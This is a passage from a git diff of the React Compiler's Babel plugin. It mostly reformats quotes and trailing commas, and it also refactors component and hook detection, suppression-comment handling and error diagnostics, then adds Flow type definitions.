-  annot: t.TypeAnnotation | t.TSTypeAnnotation | t.Noop | null | undefined
+  annot: t.TypeAnnotation | t.TSTypeAnnotation | t.Noop | null | undefined,
 ): boolean {
   if (annot == null) {
     return true;
-  } else if (annot.type === "TSTypeAnnotation") {
+  } else if (annot.type === 'TSTypeAnnotation') {
     switch (annot.typeAnnotation.type) {
-      case "TSArrayType":
-      case "TSBigIntKeyword":
-      case "TSBooleanKeyword":
-      case "TSConstructorType":
-      case "TSFunctionType":
-      case "TSLiteralType":
-      case "TSNeverKeyword":
-      case "TSNumberKeyword":
-      case "TSStringKeyword":
-      case "TSSymbolKeyword":
-      case "TSTupleType":
+      case 'TSArrayType':
+      case 'TSBigIntKeyword':
+      case 'TSBooleanKeyword':
+      case 'TSConstructorType':
+      case 'TSFunctionType':
+      case 'TSLiteralType':
+      case 'TSNeverKeyword':
+      case 'TSNumberKeyword':
+      case 'TSStringKeyword':
+      case 'TSSymbolKeyword':
+      case 'TSTupleType':
         return false;
     }
     return true;
-  } else if (annot.type === "TypeAnnotation") {
+  } else if (annot.type === 'TypeAnnotation') {
     switch (annot.typeAnnotation.type) {
-      case "ArrayTypeAnnotation":
-      case "BooleanLiteralTypeAnnotation":
-      case "BooleanTypeAnnotation":
-      case "EmptyTypeAnnotation":
-      case "FunctionTypeAnnotation":
-      case "NumberLiteralTypeAnnotation":
-      case "NumberTypeAnnotation":
-      case "StringLiteralTypeAnnotation":
-      case "StringTypeAnnotation":
-      case "SymbolTypeAnnotation":
-      case "ThisTypeAnnotation":
-      case "TupleTypeAnnotation":
+      case 'ArrayTypeAnnotation':
+      case 'BooleanLiteralTypeAnnotation':
+      case 'BooleanTypeAnnotation':
+      case 'EmptyTypeAnnotation':
+      case 'FunctionTypeAnnotation':
+      case 'NumberLiteralTypeAnnotation':
+      case 'NumberTypeAnnotation':
+      case 'StringLiteralTypeAnnotation':
+      case 'StringTypeAnnotation':
+      case 'SymbolTypeAnnotation':
+      case 'ThisTypeAnnotation':
+      case 'TupleTypeAnnotation':
         return false;
     }
     return true;
-  } else if (annot.type === "Noop") {
+  } else if (annot.type === 'Noop') {
     return true;
   } else {
     assertExhaustive(annot, `Unexpected annotation node \`${annot}\``);
@@ -697,7 +1015,7 @@ function isValidPropsAnnotation(
 }
 
 function isValidComponentParams(
-  params: Array<NodePath<t.Identifier | t.Pattern | t.RestElement>>
+  params: Array<NodePath<t.Identifier | t.Pattern | t.RestElement>>,
 ): boolean {
   if (params.length === 0) {
     return true;
@@ -710,8 +1028,8 @@ function isValidComponentParams(
       return !params[0].isRestElement();
     } else if (params[1].isIdentifier()) {
       // check if second param might be a ref
-      const { name } = params[1].node;
-      return name.includes("ref") || name.includes("Ref");
+      const {name} = params[1].node;
+      return name.includes('ref') || name.includes('Ref');
     } else {
       /**
        * Otherwise, avoid helper functions that take more than one argument.
@@ -732,19 +1050,18 @@ function getComponentOrHookLike(
   node: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
   >,
-  hookPattern: string | null
 ): ReactFunctionType | null {
   const functionName = getFunctionName(node);
   // Check if the name is component or hook like:
   if (functionName !== null && isComponentName(functionName)) {
     let isComponent =
-      callsHooksOrCreatesJsx(node, hookPattern) &&
-      isValidComponentParams(node.get("params")) &&
+      callsHooksOrCreatesJsx(node) &&
+      isValidComponentParams(node.get('params')) &&
       !returnsNonNode(node);
-    return isComponent ? "Component" : null;
-  } else if (functionName !== null && isHook(functionName, hookPattern)) {
+    return isComponent ? 'Component' : null;
+  } else if (functionName !== null && isHook(functionName)) {
     // Hooks have hook invocations or JSX, but can take any # of arguments
-    return callsHooksOrCreatesJsx(node, hookPattern) ? "Hook" : null;
+    return callsHooksOrCreatesJsx(node) ? 'Hook' : null;
   }
 
   /*
@@ -754,7 +1071,7 @@ function getComponentOrHookLike(
   if (node.isFunctionExpression() || node.isArrowFunctionExpression()) {
     if (isForwardRefCallback(node) || isMemoCallback(node)) {
       // As an added check we also look for hook invocations or JSX
-      return callsHooksOrCreatesJsx(node, hookPattern) ? "Component" : null;
+      return callsHooksOrCreatesJsx(node) ? 'Component' : null;
     }
   }
   return null;
@@ -763,12 +1080,12 @@ function getComponentOrHookLike(
 function skipNestedFunctions(
   node: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
-  >
+  >,
 ) {
   return (
     fn: NodePath<
       t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
-    >
+    >,
   ): void => {
     if (fn.node !== node.node) {
       fn.skip();
@@ -780,7 +1097,6 @@ function callsHooksOrCreatesJsx(
   node: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
   >,
-  hookPattern: string | null
 ): boolean {
   let invokesHooks = false;
   let createsJsx = false;
@@ -790,8 +1106,8 @@ function callsHooksOrCreatesJsx(
       createsJsx = true;
     },
     CallExpression(call) {
-      const callee = call.get("callee");
-      if (callee.isExpression() && isHook(callee, hookPattern)) {
+      const callee = call.get('callee');
+      if (callee.isExpression() && isHook(callee)) {
         invokesHooks = true;
       }
     },
@@ -803,38 +1119,48 @@ function callsHooksOrCreatesJsx(
   return invokesHooks || createsJsx;
 }
 
+function isNonNode(node?: t.Expression | null): boolean {
+  if (!node) {
+    return true;
+  }
+  switch (node.type) {
+    case 'ObjectExpression':
+    case 'ArrowFunctionExpression':
+    case 'FunctionExpression':
+    case 'BigIntLiteral':
+    case 'ClassExpression':
+    case 'NewExpression': // technically `new Array()` is legit, but unlikely
+      return true;
+  }
+  return false;
+}
+
 function returnsNonNode(
   node: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
-  >
+  >,
 ): boolean {
-  let hasReturn = false;
   let returnsNonNode = false;
+  if (
+    // node.traverse#ArrowFunctionExpression isn't called for the root node
+    node.type === 'ArrowFunctionExpression' &&
+    node.node.body.type !== 'BlockStatement'
+  ) {
+    returnsNonNode = isNonNode(node.node.body);
+  }
 
   node.traverse({
     ReturnStatement(ret) {
-      hasReturn = true;
-      const argument = ret.node.argument;
-      if (argument == null) {
-        returnsNonNode = true;
-      } else {
-        switch (argument.type) {
-          case "ObjectExpression":
-          case "ArrowFunctionExpression":
-          case "FunctionExpression":
-          case "BigIntLiteral":
-          case "ClassExpression":
-          case "NewExpression": // technically `new Array()` is legit, but unlikely
-            returnsNonNode = true;
-        }
-      }
+      returnsNonNode = isNonNode(ret.node.argument);
     },
+    // Skip traversing all nested functions and their return statements
     ArrowFunctionExpression: skipNestedFunctions(node),
     FunctionExpression: skipNestedFunctions(node),
     FunctionDeclaration: skipNestedFunctions(node),
+    ObjectMethod: node => node.skip(),
   });
 
-  return !hasReturn || returnsNonNode;
+  return returnsNonNode;
 }
 
 /*
@@ -848,10 +1174,10 @@ function returnsNonNode(
 function getFunctionName(
   path: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
-  >
+  >,
 ): NodePath<t.Expression> | null {
   if (path.isFunctionDeclaration()) {
-    const id = path.get("id");
+    const id = path.get('id');
     if (id.isIdentifier()) {
       return id;
     }
@@ -859,31 +1185,31 @@ function getFunctionName(
   }
   let id: NodePath<t.LVal | t.Expression | t.PrivateName> | null = null;
   const parent = path.parentPath;
-  if (parent.isVariableDeclarator() && parent.get("init").node === path.node) {
+  if (parent.isVariableDeclarator() && parent.get('init').node === path.node) {
     // const useHook = () => {};
-    id = parent.get("id");
+    id = parent.get('id');
   } else if (
     parent.isAssignmentExpression() &&
-    parent.get("right").node === path.node &&
-    parent.get("operator") === "="
+    parent.get('right').node === path.node &&
+    parent.get('operator') === '='
   ) {
     // useHook = () => {};
-    id = parent.get("left");
+    id = parent.get('left');
   } else if (
     parent.isProperty() &&
-    parent.get("value").node === path.node &&
-    !parent.get("computed") &&
-    parent.get("key").isLVal()
+    parent.get('value').node === path.node &&
+    !parent.get('computed') &&
+    parent.get('key').isLVal()
   ) {
     /*
      * {useHook: () => {}}
      * {useHook() {}}
      */
-    id = parent.get("key");
+    id = parent.get('key');
   } else if (
     parent.isAssignmentPattern() &&
-    parent.get("right").node === path.node &&
-    !parent.get("computed")
+    parent.get('right').node === path.node &&
+    !parent.get('computed')
   ) {
     /*
      * const {useHook = () => {}} = {};
@@ -892,7 +1218,7 @@ function getFunctionName(
      * Kinda clowny, but we'd said we'd follow spec convention for
      * `IsAnonymousFunctionDefinition()` usage.
      */
-    id = parent.get("left");
+    id = parent.get('left');
   }
   if (id !== null && (id.isIdentifier() || id.isMemberExpression())) {
     return id;
@@ -901,20 +1227,23 @@ function getFunctionName(
   }
 }
 
-function checkFunctionReferencedBeforeDeclarationAtTopLevel(
+function getFunctionReferencedBeforeDeclarationAtTopLevel(
   program: NodePath<t.Program>,
-  fns: Array<BabelFn>
-): CompilerError | null {
-  const fnIds = new Set(
+  fns: Array<CompileResult>,
+): Set<CompileResult> {
+  const fnNames = new Map<string, {id: t.Identifier; fn: CompileResult}>(
     fns
-      .map((fn) => getFunctionName(fn))
+      .map<[NodePath<t.Expression> | null, CompileResult]>(fn => [
+        getFunctionName(fn.originalFn),
+        fn,
+      ])
       .filter(
-        (name): name is NodePath<t.Identifier> => !!name && name.isIdentifier()
+        (entry): entry is [NodePath<t.Identifier>, CompileResult] =>
+          !!entry[0] && entry[0].isIdentifier(),
       )
-      .map((name) => name.node)
+      .map(entry => [entry[0].node.name, {id: entry[0].node, fn: entry[1]}]),
   );
-  const fnNames = new Map([...fnIds].map((id) => [id.name, id]));
-  const errors = new CompilerError();
+  const referencedBeforeDeclaration = new Set<CompileResult>();
 
   program.traverse({
     TypeAnnotation(path) {
@@ -940,8 +1269,7 @@ function checkFunctionReferencedBeforeDeclarationAtTopLevel(
        * We've reached the declaration, hoisting is no longer possible, stop
        * checking for this component name.
        */
-      if (fnIds.has(id.node)) {
-        fnIds.delete(id.node);
+      if (id.node === fn.id) {
         fnNames.delete(id.node.name);
         return;
       }
@@ -951,19 +1279,32 @@ function checkFunctionReferencedBeforeDeclarationAtTopLevel(
        * A null scope means there's no function scope, which means we're at the
        * top level scope.
        */
-      if (scope === null) {
-        errors.pushErrorDetail(
-          new CompilerErrorDetail({
-            reason: `Encountered a function used before its declaration, which breaks Forget's gating codegen due to hoisting`,
-            description: `Rewrite the reference to ${fn.name} to not rely on hoisting to fix this issue`,
-            loc: fn.loc ?? null,
-            suggestions: null,
-            severity: ErrorSeverity.Invariant,
-          })
-        );
+      if (scope === null && id.isReferencedIdentifier()) {
+        referencedBeforeDeclaration.add(fn.fn);
       }
     },
   });
 
-  return errors.details.length > 0 ? errors : null;
+  return referencedBeforeDeclaration;
+}
+
+export function getReactCompilerRuntimeModule(
+  target: CompilerReactTarget,
+): string {
+  if (target === '19') {
+    return 'react/compiler-runtime'; // from react namespace
+  } else if (target === '17' || target === '18') {
+    return 'react-compiler-runtime'; // npm package
+  } else {
+    CompilerError.invariant(
+      target != null &&
+        target.kind === 'donotuse_meta_internal' &&
+        typeof target.runtimeModule === 'string',
+      {
+        reason: 'Expected target to already be validated',
+        loc: GeneratedSource,
+      },
+    );
+    return target.runtimeModule;
+  }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Reanimated.ts b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Reanimated.ts
index 92775fff00fc..6c54476200a1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Reanimated.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Reanimated.ts
@@ -1,13 +1,23 @@
-import type * as BabelCore from "@babel/core";
-import { hasOwnProperty } from "../Utils/utils";
-import { PluginOptions } from "./Options";
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import type * as BabelCore from '@babel/core';
+import {hasOwnProperty} from '../Utils/utils';
+import {ParsedPluginOptions} from './Options';
 
 function hasModule(name: string): boolean {
+  if (typeof require === 'undefined') {
+    return false;
+  }
   try {
     return !!require.resolve(name);
   } catch (error: any) {
     if (
-      error.code === "MODULE_NOT_FOUND" &&
+      error.code === 'MODULE_NOT_FOUND' &&
       error.message.indexOf(name) !== -1
     ) {
       return false;
@@ -24,25 +34,27 @@ function hasModule(name: string): boolean {
  * See https://github.com/expo/expo/blob/e4b8d86442482c7316365a6b7ec1141eec73409d/packages/babel-preset-expo/src/index.ts#L300-L301
  */
 export function pipelineUsesReanimatedPlugin(
-  plugins: Array<BabelCore.PluginItem> | null | undefined
+  plugins: Array<BabelCore.PluginItem> | null | undefined,
 ): boolean {
   if (Array.isArray(plugins)) {
     for (const plugin of plugins) {
-      if (hasOwnProperty(plugin, "key")) {
+      if (hasOwnProperty(plugin, 'key')) {
         const key = (plugin as any).key; // already checked
         if (
-          typeof key === "string" &&
-          key.indexOf("react-native-reanimated") !== -1
+          typeof key === 'string' &&
+          key.indexOf('react-native-reanimated') !== -1
         ) {
           return true;
         }
       }
     }
   }
-  return hasModule("react-native-reanimated");
+  return hasModule('react-native-reanimated');
 }
 
-export function injectReanimatedFlag(options: PluginOptions): PluginOptions {
+export function injectReanimatedFlag(
+  options: ParsedPluginOptions,
+): ParsedPluginOptions {
   return {
     ...options,
     environment: {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Suppression.ts b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Suppression.ts
index 978b7806e677..e6cb934419b1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Suppression.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Suppression.ts
@@ -5,15 +5,16 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { NodePath } from "@babel/core";
-import * as t from "@babel/types";
+import {NodePath} from '@babel/core';
+import * as t from '@babel/types';
 import {
+  CompilerDiagnostic,
   CompilerError,
-  CompilerErrorDetail,
   CompilerSuggestionOperation,
-  ErrorSeverity,
-} from "../CompilerError";
-import { assertExhaustive } from "../Utils/utils";
+  ErrorCategory,
+} from '../CompilerError';
+import {assertExhaustive} from '../Utils/utils';
+import {GeneratedSource} from '../HIR';
 
 /**
  * Captures the start and end range of a pair of eslint-disable ... eslint-enable comments. In the
@@ -29,7 +30,7 @@ export type SuppressionRange = {
   source: SuppressionSource;
 };
 
-type SuppressionSource = "Eslint" | "Flow";
+type SuppressionSource = 'Eslint' | 'Flow';
 
 /**
  * An suppression affects a function if:
@@ -38,7 +39,7 @@ type SuppressionSource = "Eslint" | "Flow";
  */
 export function filterSuppressionsThatAffectFunction(
   suppressionRanges: Array<SuppressionRange>,
-  fn: NodePath<t.Function>
+  fn: NodePath<t.Function>,
 ): Array<SuppressionRange> {
   const suppressionsInScope: Array<SuppressionRange> = [];
   const fnNode = fn.node;
@@ -77,22 +78,28 @@ export function filterSuppressionsThatAffectFunction(
 
 export function findProgramSuppressions(
   programComments: Array<t.Comment>,
-  ruleNames: Array<string>,
-  flowSuppressions: boolean
+  ruleNames: Array<string> | null,
+  flowSuppressions: boolean,
 ): Array<SuppressionRange> {
   const suppressionRanges: Array<SuppressionRange> = [];
   let disableComment: t.Comment | null = null;
   let enableComment: t.Comment | null = null;
   let source: SuppressionSource | null = null;
 
-  const rulePattern = `(${ruleNames.join("|")})`;
-  const disableNextLinePattern = new RegExp(
-    `eslint-disable-next-line ${rulePattern}`
-  );
-  const disablePattern = new RegExp(`eslint-disable ${rulePattern}`);
-  const enablePattern = new RegExp(`eslint-enable ${rulePattern}`);
+  let disableNextLinePattern: RegExp | null = null;
+  let disablePattern: RegExp | null = null;
+  let enablePattern: RegExp | null = null;
+  if (ruleNames != null && ruleNames.length !== 0) {
+    const rulePattern = `(${ruleNames.join('|')})`;
+    disableNextLinePattern = new RegExp(
+      `eslint-disable-next-line ${rulePattern}`,
+    );
+    disablePattern = new RegExp(`eslint-disable ${rulePattern}`);
+    enablePattern = new RegExp(`eslint-enable ${rulePattern}`);
+  }
+
   const flowSuppressionPattern = new RegExp(
-    "\\$(FlowFixMe\\w*|FlowExpectedError|FlowIssue)\\[react\\-rule"
+    '\\$(FlowFixMe\\w*|FlowExpectedError|FlowIssue)\\[react\\-rule',
   );
 
   for (const comment of programComments) {
@@ -106,11 +113,12 @@ export function findProgramSuppressions(
        * CommentLine within the block.
        */
       disableComment == null &&
+      disableNextLinePattern != null &&
       disableNextLinePattern.test(comment.value)
     ) {
       disableComment = comment;
       enableComment = comment;
-      source = "Eslint";
+      source = 'Eslint';
     }
 
     if (
@@ -120,15 +128,19 @@ export function findProgramSuppressions(
     ) {
       disableComment = comment;
       enableComment = comment;
-      source = "Flow";
+      source = 'Flow';
     }
 
-    if (disablePattern.test(comment.value)) {
+    if (disablePattern != null && disablePattern.test(comment.value)) {
       disableComment = comment;
-      source = "Eslint";
+      source = 'Eslint';
     }
 
-    if (enablePattern.test(comment.value) && source === "Eslint") {
+    if (
+      enablePattern != null &&
+      enablePattern.test(comment.value) &&
+      source === 'Eslint'
+    ) {
       enableComment = comment;
     }
 
@@ -147,11 +159,12 @@ export function findProgramSuppressions(
 }
 
 export function suppressionsToCompilerError(
-  suppressionRanges: Array<SuppressionRange>
-): CompilerError | null {
-  if (suppressionRanges.length === 0) {
-    return null;
-  }
+  suppressionRanges: Array<SuppressionRange>,
+): CompilerError {
+  CompilerError.invariant(suppressionRanges.length !== 0, {
+    reason: `Expected at least suppression comment source range`,
+    loc: GeneratedSource,
+  });
   const error = new CompilerError();
   for (const suppressionRange of suppressionRanges) {
     if (
@@ -162,29 +175,28 @@ export function suppressionsToCompilerError(
     }
     let reason, suggestion;
     switch (suppressionRange.source) {
-      case "Eslint":
+      case 'Eslint':
         reason =
-          "React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled";
+          'React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled';
         suggestion =
-          "Remove the ESLint suppression and address the React error";
+          'Remove the ESLint suppression and address the React error';
         break;
-      case "Flow":
+      case 'Flow':
         reason =
-          "React Compiler has skipped optimizing this component because one or more React rule violations were reported by Flow";
-        suggestion = "Remove the Flow suppression and address the React error";
+          'React Compiler has skipped optimizing this component because one or more React rule violations were reported by Flow';
+        suggestion = 'Remove the Flow suppression and address the React error';
         break;
       default:
         assertExhaustive(
           suppressionRange.source,
-          "Unhandled suppression source"
+          'Unhandled suppression source',
         );
     }
-    error.pushErrorDetail(
-      new CompilerErrorDetail({
-        reason: `${reason}. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior`,
-        description: suppressionRange.disableComment.value.trim(),
-        severity: ErrorSeverity.InvalidReact,
-        loc: suppressionRange.disableComment.loc ?? null,
+    error.pushDiagnostic(
+      CompilerDiagnostic.create({
+        reason: reason,
+        description: `React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression \`${suppressionRange.disableComment.value.trim()}\``,
+        category: ErrorCategory.Suppression,
         suggestions: [
           {
             description: suggestion,
@@ -195,7 +207,11 @@ export function suppressionsToCompilerError(
             op: CompilerSuggestionOperation.Remove,
           },
         ],
-      })
+      }).withDetails({
+        kind: 'error',
+        loc: suppressionRange.disableComment.loc ?? null,
+        message: 'Found React rule suppression',
+      }),
     );
   }
   return error;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/index.ts b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/index.ts
index c4fef90870d0..1180f7c985e5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/index.ts
@@ -5,9 +5,9 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export * from "./Gating";
-export * from "./Imports";
-export * from "./Options";
-export * from "./Pipeline";
-export * from "./Program";
-export * from "./Suppression";
+export * from './Gating';
+export * from './Imports';
+export * from './Options';
+export * from './Pipeline';
+export * from './Program';
+export * from './Suppression';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Flood/FlowTypes.ts b/compiler/packages/babel-plugin-react-compiler/src/Flood/FlowTypes.ts
new file mode 100644
index 000000000000..c63feb830fee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Flood/FlowTypes.ts
@@ -0,0 +1,752 @@
+/**
+ * TypeScript definitions for Flow type JSON representations
+ * Based on the output of /data/sandcastle/boxes/fbsource/fbcode/flow/src/typing/convertTypes.ml
+ */
+
+// Base type for all Flow types with a kind field
+export interface BaseFlowType {
+  kind: string;
+}
+
+// Type for representing polarity
+export type Polarity = 'positive' | 'negative' | 'neutral';
+
+// Type for representing a name that might be null
+export type OptionalName = string | null;
+
+// Open type
+export interface OpenType extends BaseFlowType {
+  kind: 'Open';
+}
+
+// Def type
+export interface DefType extends BaseFlowType {
+  kind: 'Def';
+  def: DefT;
+}
+
+// Eval type
+export interface EvalType extends BaseFlowType {
+  kind: 'Eval';
+  type: FlowType;
+  destructor: Destructor;
+}
+
+// Generic type
+export interface GenericType extends BaseFlowType {
+  kind: 'Generic';
+  name: string;
+  bound: FlowType;
+  no_infer: boolean;
+}
+
+// ThisInstance type
+export interface ThisInstanceType extends BaseFlowType {
+  kind: 'ThisInstance';
+  instance: InstanceT;
+  is_this: boolean;
+  name: string;
+}
+
+// ThisTypeApp type
+export interface ThisTypeAppType extends BaseFlowType {
+  kind: 'ThisTypeApp';
+  t1: FlowType;
+  t2: FlowType;
+  t_list?: Array<FlowType>;
+}
+
+// TypeApp type
+export interface TypeAppType extends BaseFlowType {
+  kind: 'TypeApp';
+  type: FlowType;
+  targs: Array<FlowType>;
+  from_value: boolean;
+  use_desc: boolean;
+}
+
+// FunProto type
+export interface FunProtoType extends BaseFlowType {
+  kind: 'FunProto';
+}
+
+// ObjProto type
+export interface ObjProtoType extends BaseFlowType {
+  kind: 'ObjProto';
+}
+
+// NullProto type
+export interface NullProtoType extends BaseFlowType {
+  kind: 'NullProto';
+}
+
+// FunProtoBind type
+export interface FunProtoBindType extends BaseFlowType {
+  kind: 'FunProtoBind';
+}
+
+// Intersection type
+export interface IntersectionType extends BaseFlowType {
+  kind: 'Intersection';
+  members: Array<FlowType>;
+}
+
+// Union type
+export interface UnionType extends BaseFlowType {
+  kind: 'Union';
+  members: Array<FlowType>;
+}
+
+// Maybe type
+export interface MaybeType extends BaseFlowType {
+  kind: 'Maybe';
+  type: FlowType;
+}
+
+// Optional type
+export interface OptionalType extends BaseFlowType {
+  kind: 'Optional';
+  type: FlowType;
+  use_desc: boolean;
+}
+
+// Keys type
+export interface KeysType extends BaseFlowType {
+  kind: 'Keys';
+  type: FlowType;
+}
+
+// Annot type
+export interface AnnotType extends BaseFlowType {
+  kind: 'Annot';
+  type: FlowType;
+  use_desc: boolean;
+}
+
+// Opaque type
+export interface OpaqueType extends BaseFlowType {
+  kind: 'Opaque';
+  opaquetype: {
+    opaque_id: string;
+    underlying_t: FlowType | null;
+    super_t: FlowType | null;
+    opaque_type_args: Array<{
+      name: string;
+      type: FlowType;
+      polarity: Polarity;
+    }>;
+    opaque_name: string;
+  };
+}
+
+// Namespace type
+export interface NamespaceType extends BaseFlowType {
+  kind: 'Namespace';
+  namespace_symbol: {
+    symbol: string;
+  };
+  values_type: FlowType;
+  types_tmap: PropertyMap;
+}
+
+// Any type
+export interface AnyType extends BaseFlowType {
+  kind: 'Any';
+}
+
+// StrUtil type
+export interface StrUtilType extends BaseFlowType {
+  kind: 'StrUtil';
+  op: 'StrPrefix' | 'StrSuffix';
+  prefix?: string;
+  suffix?: string;
+  remainder?: FlowType;
+}
+
+// TypeParam definition
+export interface TypeParam {
+  name: string;
+  bound: FlowType;
+  polarity: Polarity;
+  default: FlowType | null;
+}
+
+// EnumInfo types
+export type EnumInfo = ConcreteEnum | AbstractEnum;
+
+export interface ConcreteEnum {
+  kind: 'ConcreteEnum';
+  enum_name: string;
+  enum_id: string;
+  members: Array<string>;
+  representation_t: FlowType;
+  has_unknown_members: boolean;
+}
+
+export interface AbstractEnum {
+  kind: 'AbstractEnum';
+  representation_t: FlowType;
+}
+
+// CanonicalRendersForm types
+export type CanonicalRendersForm =
+  | InstrinsicRenders
+  | NominalRenders
+  | StructuralRenders
+  | DefaultRenders;
+
+export interface InstrinsicRenders {
+  kind: 'InstrinsicRenders';
+  name: string;
+}
+
+export interface NominalRenders {
+  kind: 'NominalRenders';
+  renders_id: string;
+  renders_name: string;
+  renders_super: FlowType;
+}
+
+export interface StructuralRenders {
+  kind: 'StructuralRenders';
+  renders_variant: 'RendersNormal' | 'RendersMaybe' | 'RendersStar';
+  renders_structural_type: FlowType;
+}
+
+export interface DefaultRenders {
+  kind: 'DefaultRenders';
+}
+
+// InstanceT definition
+export interface InstanceT {
+  inst: InstType;
+  static: FlowType;
+  super: FlowType;
+  implements: Array<FlowType>;
+}
+
+// InstType definition
+export interface InstType {
+  class_name: string | null;
+  class_id: string;
+  type_args: Array<{
+    name: string;
+    type: FlowType;
+    polarity: Polarity;
+  }>;
+  own_props: PropertyMap;
+  proto_props: PropertyMap;
+  call_t: null | {
+    id: number;
+    call: FlowType;
+  };
+}
+
+// DefT types
+export type DefT =
+  | NumGeneralType
+  | StrGeneralType
+  | BoolGeneralType
+  | BigIntGeneralType
+  | EmptyType
+  | MixedType
+  | NullType
+  | VoidType
+  | SymbolType
+  | FunType
+  | ObjType
+  | ArrType
+  | ClassType
+  | InstanceType
+  | SingletonStrType
+  | NumericStrKeyType
+  | SingletonNumType
+  | SingletonBoolType
+  | SingletonBigIntType
+  | TypeType
+  | PolyType
+  | ReactAbstractComponentType
+  | RendersType
+  | EnumValueType
+  | EnumObjectType;
+
+export interface NumGeneralType extends BaseFlowType {
+  kind: 'NumGeneral';
+}
+
+export interface StrGeneralType extends BaseFlowType {
+  kind: 'StrGeneral';
+}
+
+export interface BoolGeneralType extends BaseFlowType {
+  kind: 'BoolGeneral';
+}
+
+export interface BigIntGeneralType extends BaseFlowType {
+  kind: 'BigIntGeneral';
+}
+
+export interface EmptyType extends BaseFlowType {
+  kind: 'Empty';
+}
+
+export interface MixedType extends BaseFlowType {
+  kind: 'Mixed';
+}
+
+export interface NullType extends BaseFlowType {
+  kind: 'Null';
+}
+
+export interface VoidType extends BaseFlowType {
+  kind: 'Void';
+}
+
+export interface SymbolType extends BaseFlowType {
+  kind: 'Symbol';
+}
+
+export interface FunType extends BaseFlowType {
+  kind: 'Fun';
+  static: FlowType;
+  funtype: FunTypeObj;
+}
+
+export interface ObjType extends BaseFlowType {
+  kind: 'Obj';
+  objtype: ObjTypeObj;
+}
+
+export interface ArrType extends BaseFlowType {
+  kind: 'Arr';
+  arrtype: ArrTypeObj;
+}
+
+export interface ClassType extends BaseFlowType {
+  kind: 'Class';
+  type: FlowType;
+}
+
+export interface InstanceType extends BaseFlowType {
+  kind: 'Instance';
+  instance: InstanceT;
+}
+
+export interface SingletonStrType extends BaseFlowType {
+  kind: 'SingletonStr';
+  from_annot: boolean;
+  value: string;
+}
+
+export interface NumericStrKeyType extends BaseFlowType {
+  kind: 'NumericStrKey';
+  number: string;
+  string: string;
+}
+
+export interface SingletonNumType extends BaseFlowType {
+  kind: 'SingletonNum';
+  from_annot: boolean;
+  number: string;
+  string: string;
+}
+
+export interface SingletonBoolType extends BaseFlowType {
+  kind: 'SingletonBool';
+  from_annot: boolean;
+  value: boolean;
+}
+
+export interface SingletonBigIntType extends BaseFlowType {
+  kind: 'SingletonBigInt';
+  from_annot: boolean;
+  value: string;
+}
+
+export interface TypeType extends BaseFlowType {
+  kind: 'Type';
+  type_kind: TypeTKind;
+  type: FlowType;
+}
+
+export type TypeTKind =
+  | 'TypeAliasKind'
+  | 'TypeParamKind'
+  | 'OpaqueKind'
+  | 'ImportTypeofKind'
+  | 'ImportClassKind'
+  | 'ImportEnumKind'
+  | 'InstanceKind'
+  | 'RenderTypeKind';
+
+export interface PolyType extends BaseFlowType {
+  kind: 'Poly';
+  tparams: Array<TypeParam>;
+  t_out: FlowType;
+  id: string;
+}
+
+export interface ReactAbstractComponentType extends BaseFlowType {
+  kind: 'ReactAbstractComponent';
+  config: FlowType;
+  renders: FlowType;
+  instance: ComponentInstance;
+  component_kind: ComponentKind;
+}
+
+export type ComponentInstance =
+  | {kind: 'RefSetterProp'; type: FlowType}
+  | {kind: 'Omitted'};
+
+export type ComponentKind =
+  | {kind: 'Structural'}
+  | {kind: 'Nominal'; id: string; name: string; types: Array<FlowType> | null};
+
+export interface RendersType extends BaseFlowType {
+  kind: 'Renders';
+  form: CanonicalRendersForm;
+}
+
+export interface EnumValueType extends BaseFlowType {
+  kind: 'EnumValue';
+  enum_info: EnumInfo;
+}
+
+export interface EnumObjectType extends BaseFlowType {
+  kind: 'EnumObject';
+  enum_value_t: FlowType;
+  enum_info: EnumInfo;
+}
+
+// ObjKind types
+export type ObjKind =
+  | {kind: 'Exact'}
+  | {kind: 'Inexact'}
+  | {kind: 'Indexed'; dicttype: DictType};
+
+// DictType definition
+export interface DictType {
+  dict_name: string | null;
+  key: FlowType;
+  value: FlowType;
+  dict_polarity: Polarity;
+}
+
+// ArrType types
+export type ArrTypeObj = ArrayAT | TupleAT | ROArrayAT;
+
+export interface ArrayAT {
+  kind: 'ArrayAT';
+  elem_t: FlowType;
+}
+
+export interface TupleAT {
+  kind: 'TupleAT';
+  elem_t: FlowType;
+  elements: Array<TupleElement>;
+  min_arity: number;
+  max_arity: number;
+  inexact: boolean;
+}
+
+export interface ROArrayAT {
+  kind: 'ROArrayAT';
+  elem_t: FlowType;
+}
+
+// TupleElement definition
+export interface TupleElement {
+  name: string | null;
+  t: FlowType;
+  polarity: Polarity;
+  optional: boolean;
+}
+
+// Flags definition
+export interface Flags {
